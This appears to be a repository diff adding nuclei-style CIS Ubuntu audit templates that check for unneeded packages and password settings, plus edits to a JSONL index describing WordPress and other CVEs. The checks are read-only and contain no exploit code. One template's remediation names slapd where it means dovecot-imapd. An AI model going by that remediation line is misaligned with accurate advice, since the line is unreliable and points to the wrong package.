+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s autofs &>/dev/null; then
+          echo "[autofs-service-check:Policy-Fail] [autofs is installed] [CIS_FAIL]"
+        else
+          echo "[autofs-service-check:Policy-Pass] [autofs is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: avahi-daemon
+
+info:
+  name: Ensure Avahi Daemon Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The avahi-daemon package provides mDNS/DNS-SD service discovery on local networks.In secure environments, it should only be installed when explicitly required, as it may expose unnecessary services.
+  remediation: |
+    - Ensure the `avahi-daemon` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove avahi-daemon -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s avahi-daemon &>/dev/null; then
+          echo "[avahi-daemon-check:Policy-Fail] [avahi-daemon is installed] [CIS_FAIL]"
+        else
+          echo "[avahi-daemon-check:Policy-Pass] [avahi-daemon is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: dhcp-server
+
+info:
+  name: Ensure DHCP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The isc-dhcp-server package provides DHCP services for automatic IP address assignment.Running a DHCP server on non-designated systems may introduce security risks and unwanted network behavior.
+  remediation: |
+    - Ensure the isc-dhcp-server package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove isc-dhcp-server -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s isc-dhcp-server &>/dev/null; then
+          echo "[dhcp-server-check:Policy-Fail] [isc-dhcp-server is installed] [CIS_FAIL]"
+        else
+          echo "[dhcp-server-check:Policy-Pass] [isc-dhcp-server is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: dns-server
+
+info:
+  name: Ensure DNS Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The bind9 package provides a DNS server for name resolution services.Running a DNS server on systems not designated for that purpose may expose them to unnecessary risks.
+  remediation: |
+    - Ensure the `bind9` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove bind9 -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s bind9 &>/dev/null; then
+          echo "[dns-server-check:Policy-Fail] [bind9 is installed] [CIS_FAIL]"
+        else
+          echo "[dns-server-check:Policy-Pass] [bind9 is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: dnsmasq-service
+
+info:
+  name: Ensure dnsmasq Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The dnsmasq package provides lightweight DNS, DHCP, and TFTP services. If not explicitly required, its presence may expose unnecessary services and increase security risks.
+  remediation: |
+    - Ensure the `dnsmasq` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove dnsmasq -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s dnsmasq &>/dev/null; then
+          echo "[dnsmasq-service-check:Policy-Fail] [dnsmasq is installed] [CIS_FAIL]"
+        else
+          echo "[dnsmasq-service-check:Policy-Pass] [dnsmasq is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,43 @@
+id: ftp-client
+
+info:
+  name: Ensure FTP Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    FTP clients such as ftp and tnftp use an unencrypted protocol that exposes sensitive data during transmission.These packages should only be installed when explicitly required, as their presence increases security risk.
+  remediation: |
+    - Ensure FTP client packages are not installed unless explicitly required.
+    - To remove them, run: sudo apt-get remove ftp tnftp -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,ftp
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if ftp or tnftp packages are installed
+        if dpkg-query -W -f='${Package} ${Status}\n' ftp tnftp 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-ftp-client-check:Policy-Fail] [FTP client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-ftp-client-check:Policy-Pass] [FTP client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: ftp-server
+
+info:
+  name: Ensure FTP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The vsftpd package provides an FTP server for file transfer services.Since FTP is unencrypted and insecure, it should only be installed when explicitly required.
+  remediation: |
+    - Ensure the `vsftpd` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove vsftpd -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s vsftpd &>/dev/null; then
+          echo "[ftp-server-check:Policy-Fail] [vsftpd is installed] [CIS_FAIL]"
+        else
+          echo "[ftp-server-check:Policy-Pass] [vsftpd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: inactive-password-lock-default
+
+info:
+  name: Ensure Inactive Password Lock is Configured (Default Setting)
+  author: Th3l0newolf
+  severity: high
+  description: |
+    This policy ensures the default user inactivity lock is configured properly.User accounts that remain inactive for more than 45 days after password expiration should be disabled.
+  remediation: |
+    Ensure the default INACTIVE parameter is set to 45 days for new accounts.To configure, run: sudo useradd -D -f 45
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        INACTIVE_DAYS=$(useradd -D | grep -i INACTIVE | awk -F= '{print $2}')
+        if [ -z "$INACTIVE_DAYS" ] || [ "$INACTIVE_DAYS" -gt 45 ]; then
+          echo "[inactive-password-lock-default-check:Policy-Fail] [INACTIVE=$INACTIVE_DAYS (invalid)] [CIS_FAIL]"
+        else
+          echo "[inactive-password-lock-default-check:Policy-Pass] [INACTIVE=$INACTIVE_DAYS (valid)] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,43 @@
+id: ldap-client
+
+info:
+  name: Ensure LDAP Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The ldap-utils package provides LDAP client utilities that allow systems to query and interact with LDAP directories.If not explicitly required, it should be removed to minimize the system’s attack surface and reduce security risks.
+  remediation: |
+    - Ensure the ldap-utils package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove ldap-utils -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,ldap
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the ldap-utils package is installed
+        if dpkg-query -W -f='${Status}' ldap-utils 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-ldap-client-check:Policy-Fail] [ldap-utils is installed] [CIS_FAIL]"
+        else
+          echo "[cis-ldap-client-check:Policy-Pass] [ldap-utils is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,41 @@
+id: ldap-server
+
+info:
+  name: Ensure LDAP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The slapd package provides the OpenLDAP server, which manages directory and identity services. If not explicitly required, having this service installed unnecessarily increases the system’s attack surface.
+  remediation: |
+    - Run: sudo apt-get remove slapd -y
+    - This removes the LDAP server package to reduce the system’s attack surface.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s slapd &>/dev/null; then
+          echo "[ldap-server-check:Policy-Fail] [slapd is installed] [CIS_FAIL]"
+        else
+          echo "[ldap-server-check:Policy-Pass] [slapd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,42 @@
+id: message-access-server
+
+info:
+  name: Ensure Message Access Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The dovecot-imapd package provides the Dovecot IMAP server, which allows users to remotely access email stored on the system. If not explicitly required, having this service installed unnecessarily increases the system's attack surface and could expose it to potential remote exploits. To maintain a secure system, IMAP services should only be installed and enabled when there is a clear business requirement.
+  remediation: |
+    - Ensure the `slapd` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove slapd -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s dovecot-imapd &>/dev/null; then
+          echo "[message-access-server-check:Policy-Fail] [dovecot-imapd is installed] [CIS_FAIL]"
+        else
+          echo "[message-access-server-check:Policy-Pass] [dovecot-imapd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,43 @@
+id: nis-client
+
+info:
+  name: Ensure NIS Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The nis package provides the Network Information Service client, which is insecure and deprecated.If not explicitly required, it should be removed to reduce the system’s attack surface.
+  remediation: |
+    - Ensure the nis package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove nis -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,nis
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the nis package is installed
+        if dpkg-query -W -f='${Status}' nis 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-nis-client-check:Policy-Fail] [NIS is installed] [CIS_FAIL]"
+        else
+          echo "[cis-nis-client-check:Policy-Pass] [NIS is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,47 @@
+id: password-expiration
+
+info:
+  name: Ensure Password Expiration is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_MAX_DAYS setting in /etc/login.defs defines how long a password may be used before it must be changed.To comply with CIS Ubuntu Linux Benchmark, this value should be set to a number greater than 0 and less than or equal to 365.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_MAX_DAYS 365 (or another value between 1 and 365).Verify the change with: grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        MAX_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$MAX_DAYS_LINE" ]; then
+          VALUE=$(echo "$MAX_DAYS_LINE" | awk '{print $2}')
+          if [ "$VALUE" -gt 0 ] && [ "$VALUE" -le 365 ]; then
+            echo "[password-expiration-check:Policy-Pass] [PASS_MAX_DAYS is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,47 @@
+id: password-min-days
+
+info:
+  name: Ensure Minimum Password Days is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_MIN_DAYS setting in /etc/login.defs defines the minimum number of days required between password changes.This prevents users from rapidly cycling through passwords to bypass password history requirements.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_MIN_DAYS 1 (or another value greater than 0).Verify the change with: grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        MIN_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$MIN_DAYS_LINE" ]; then
+          VALUE=$(echo "$MIN_DAYS_LINE" | awk '{print $2}')
+          if [ "$VALUE" -gt 0 ]; then
+            echo "[password-min-days-check:Policy-Pass] [PASS_MIN_DAYS is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,47 @@
+id: password-warn-age
+
+info:
+  name: Ensure Password Expiration Warning Days is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_WARN_AGE setting in /etc/login.defs defines the number of days before password expiration that users are warned.To comply with CIS Ubuntu Linux Benchmark, this value should be set to 7 to provide sufficient notice for users to change passwords.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_WARN_AGE 7.Verify the change with: grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        WARN_AGE_LINE=$(grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$WARN_AGE_LINE" ]; then
+          VALUE=$(echo "$WARN_AGE_LINE" | awk '{print $2}')
+          if [ "$VALUE" -eq 7 ]; then
+            echo "[password-warn-age-check:Policy-Pass] [PASS_WARN_AGE is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,42 @@
+id: ssh-rsh-client
+
+info:
+  name: Ensure rsh Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The rsh-client package provides the Remote Shell client, which transmits data in plaintext and is considered insecure.If not explicitly required, it should be removed to reduce exposure to unauthorized remote access.
+  remediation: |
+    Ensure the rsh-client package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove rsh-client -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,rsh
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the rsh-client package is installed
+        if dpkg-query -W -f='${Status}' rsh-client 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-rsh-client-check:Policy-Fail] [rsh-client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-rsh-client-check:Policy-Pass] [rsh-client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,47 @@
+id: strong-password-hashing
+
+info:
+  name: Ensure Strong Password Hashing Algorithm is Configured
+  author: Th3l0newolf
+  severity: high
+  description: |
+    The ENCRYPT_METHOD setting in /etc/login.defs specifies the algorithm used to hash passwords.It should be set to SHA512 or yescrypt, as weaker algorithms may expose passwords to brute-force attacks.
+  remediation: |
+    Edit /etc/login.defs and set ENCRYPT_METHOD to either SHA512 or yescrypt.Verify with: grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        HASH_METHOD_LINE=$(grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs | head -n1)
+        if [ -n "$HASH_METHOD_LINE" ]; then
+          VALUE=$(echo "$HASH_METHOD_LINE" | awk '{print $2}' | tr '[:upper:]' '[:lower:]')
+          if [ "$VALUE" = "sha512" ] || [ "$VALUE" = "yescrypt" ]; then
+            echo "[strong-password-hashing-check:Policy-Pass] [ENCRYPT_METHOD is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,42 @@
+id: talk-client
+
+info:
+  name: Ensure Talk Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The talk package provides a client for user-to-user messaging on local or remote systems.Since it uses unencrypted communication, it should be removed to minimize security risks.
+  remediation: |
+    Ensure the talk package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove talk -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,talk
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the talk package is installed
+        if dpkg-query -W -f='${Status}' talk 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-talk-client-check:Policy-Fail] [talk is installed] [CIS_FAIL]"
+        else
+          echo "[cis-talk-client-check:Policy-Pass] [talk is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -0,0 +1,42 @@
+id: telnet-client
+
+info:
+  name: Ensure Telnet Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The telnet and inetutils-telnet packages provide a Telnet client for remote access.Since Telnet uses unencrypted communication, these packages should not be installed to reduce the risk of credential theft and unauthorized access.
+  remediation: |
+    Ensure telnet and inetutils-telnet packages are not installed unless explicitly required.To remove them, run: sudo apt-get remove telnet inetutils-telnet -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu,telnet
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if telnet or inetutils-telnet package is installed
+        if dpkg-query -W -f='${Package} ${Status}\n' telnet inetutils-telnet 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-telnet-client-check:Policy-Fail] [Telnet client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-telnet-client-check:Policy-Pass] [Telnet client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
@@ -1708,7 +1708,7 @@
 {"ID":"CVE-2022-1442","Info":{"Name":"WordPress Metform \u003c=2.1.3 - Information Disclosure","Severity":"high","Description":"WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-1442.yaml"}
 {"ID":"CVE-2022-1574","Info":{"Name":"WordPress HTML2WP \u003c=1.0.0 - Arbitrary File Upload","Severity":"critical","Description":"WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1574.yaml"}
 {"ID":"CVE-2022-1580","Info":{"Name":"Site Offline WP Plugin \u003c 1.5.3 - Authorization Bypass","Severity":"medium","Description":"The plugin prevents users from accessing a website but does not do so if the URL contained certain keywords. Adding those keywords to the URL's query string would bypass the plugin's main feature.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2022/CVE-2022-1580.yaml"}
-{"ID":"CVE-2022-1595","Info":{"Name":"WordPress HC Custom WP-Admin URL \u003c=1.4 - Admin Login URL Disclosure","Severity":"medium","Description":"WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1595.yaml"}
+{"ID":"CVE-2022-1595","Info":{"Name":"WordPress HC Custom WP-Admin URL \u003c=1.4 - Admin Login URL Disclosure","Severity":"medium","Description":"The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1595.yaml"}
 {"ID":"CVE-2022-1597","Info":{"Name":"WordPress WPQA \u003c5.4 - Cross-Site Scripting","Severity":"medium","Description":"WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-1597.yaml"}
 {"ID":"CVE-2022-1598","Info":{"Name":"WordPress WPQA \u003c5.5 - Improper Access Control","Severity":"medium","Description":"WordPress WPQA plugin before 5.5 is susceptible to improper access control. The plugin lacks authentication in a REST API endpoint. An attacker can potentially discover private questions sent between users on the site.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1598.yaml"}
 {"ID":"CVE-2022-1609","Info":{"Name":"The School Management \u003c 9.9.7 - Remote Code Execution","Severity":"critical","Description":"The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1609.yaml"}
@@ -2375,6 +2375,7 @@
 {"ID":"CVE-2023-37679","Info":{"Name":"NextGen Mirth Connect - Remote Code Execution","Severity":"critical","Description":"Mirth Connect, by NextGen HealthCare, is an open source data integration platform widely used by healthcare companies. Versions prior to 4.4.1 are vulnerable to an unauthenticated remote code execution vulnerability\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-37679.yaml"}
 {"ID":"CVE-2023-37728","Info":{"Name":"IceWarp Webmail Server v10.2.1 - Cross Site Scripting","Severity":"medium","Description":"Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37728.yaml"}
 {"ID":"CVE-2023-37979","Info":{"Name":"Ninja Forms \u003c 3.6.26 - Cross-Site Scripting","Severity":"medium","Description":"The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37979.yaml"}
+{"ID":"CVE-2023-37988","Info":{"Name":"Contact Form Generator \u003c= 2.5.5 - Cross-Site Scripting","Severity":"medium","Description":"The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37988.yaml"}
 {"ID":"CVE-2023-38035","Info":{"Name":"Ivanti Sentry - Authentication Bypass","Severity":"critical","Description":"A security vulnerability in MICS Admin Portal in Ivanti MobileIron Sentry versions 9.18.0 and below, which may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-38035.yaml"}
 {"ID":"CVE-2023-38040","Info":{"Name":"Revive Adserver 5.4.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected XSS vulnerability exists in Revive Adserver 5.4.1 and earlier versions.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38040.yaml"}
 {"ID":"CVE-2023-38192","Info":{"Name":"SuperWebMailer 9.00.0.01710 - Cross-Site Scripting","Severity":"medium","Description":"An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38192.yaml"}
@@ -2784,7 +2785,7 @@
 {"ID":"CVE-2024-3552","Info":{"Name":"Web Directory Free \u003c 1.7.0 - SQL Injection","Severity":"critical","Description":"The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-3552.yaml"}
 {"ID":"CVE-2024-35584","Info":{"Name":"openSIS \u003c 9.1 - SQL Injection","Severity":"high","Description":"SQL injection vulnerability in Ajax.php, ForWindow.php, ForExport.php, Modules.php, functions/HackingLogFnc.php in OpenSis Community Edition 9.1, 8.0, and possibly earlier versions. It is possible for an authenticated user to perform SQL Injection due to the lack to sanitisation. The application takes arbitrary value from \"X-Forwarded-For\" header and appends it to a SQL INSERT statement directly, leading to SQL Injection.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-35584.yaml"}
